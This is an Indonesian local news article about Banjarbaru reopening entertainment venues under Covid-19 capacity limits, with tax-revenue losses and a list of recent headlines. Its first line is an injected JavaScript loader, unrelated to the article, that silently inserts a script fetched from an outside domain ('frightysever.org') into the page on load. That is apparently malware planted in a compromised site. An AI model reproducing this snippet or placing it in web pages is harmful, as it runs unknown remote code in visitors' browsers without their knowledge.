(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Tempat Hiburan di Banjarbaru Kembali Dibuka, Pengelola Wajib Batasi Pengunjung


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru telah mengambil kebijakan untuk mengizinkan tempat Usaha Jasa Pariwisata (UJP) termasuk tempat hiburan, untuk kembali beroperasi. Hal ini sebagaimana, surat edaran yang dikeluarkan Dinas Pemuda Olahraga Kebudayaan dan Pariwisata (Disporabudpar) Kota Banjarbaru, pada 1 Juli lalu.

Meskipun telah diizinkan beroperasi, tempat hiburan tetap wajib menerapkan protokol kesehatan pencegahan Covid-19, baik tempat cuci tangan, psyical distancing, serta pengunjung diwajibkan menggunakan masker. Terkhusus, pihak pengelola tempat hiburan juga diharuskan membatasi jumlah pengunjung.

“Phyicial distancing harus diterapkan, dengan jarak kursi minimal satu meter. Tempatnya juga wajib disterilkan secara berkala,” kata Kabid Pariwisata Disporabudpar Banjarbaru, Diah, Senin (6/7/2020) siang.

Ihwal pembatasan jumlah pengunjung, Disporabudpar menetapkan ketentuan sebagaimana Keputusan Kemenkes pada 19 Juni lalu. Yakni, jumlah pengunjung di tempat hiburan bersifat indoor hanya diperbolehkan 35% dari kapasitas normal. Sementara, khusus di tempat hiburan bersifat outdoor,  jumlah pengunjungan diperbolehkan yakni 50% dari kapasitas normal.

Jika ada pihak pengelola tempat hiburan tidak mengindahkan aturan yang telah ditetapkan, kata Diah, maka akan ada sanksi tegas yang menanti. Namun, untuk sementara ini pihaknya terlebih dulu akan melakukan sosialisasi dan pengawasan.

Pemko Banjarbaru telah mengambil kebijakan mengizinkan tempat Usaha Jasa Pariwisata (UJP) termasuk tempat hiburan kembali beroperasi. Foto: Polres Banjarbaru

“Kita bersama tim Gugus akan gencar melakukan sosialisi dulu, jadi untuk saat ini mungkin teguran dulu. Tapi, jika kedepannya masih ngeyel, maka kita tidak segan memberikan sanksi dan yang paling berat adalah pencabutan izin operasional,” pungkasnya

Sebagaimana diketahui, merebaknya pandemi Covid-19, pada Maret lalu, berimbas pada penutupan seluruh tempat wisata maupun hiburan di Kota Banjarbaru. Walhasil, dampak selanjutnya dari penutupan tersebut ialah menurunnya pendapatan pajak kota Banjarbaru.

Data Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Kota Banjarbaru mencatat penuruan drastis di sektor pajak tempat hiburan. “Kalau data pada akhir Mei tadi, setoran pajak hotel yang kita terima turun sampai 97%, hiburan 98%, resto 75%, dan reklame 70%,” kata Rustan Effendi, Kepala BP2RD Kota Banjarbaru. (kanalkalimantan.com/rico)

Reporter : rico
Editor : chell


Al Ghifari

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

25 menit ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

4 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

8 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

22 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

23 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.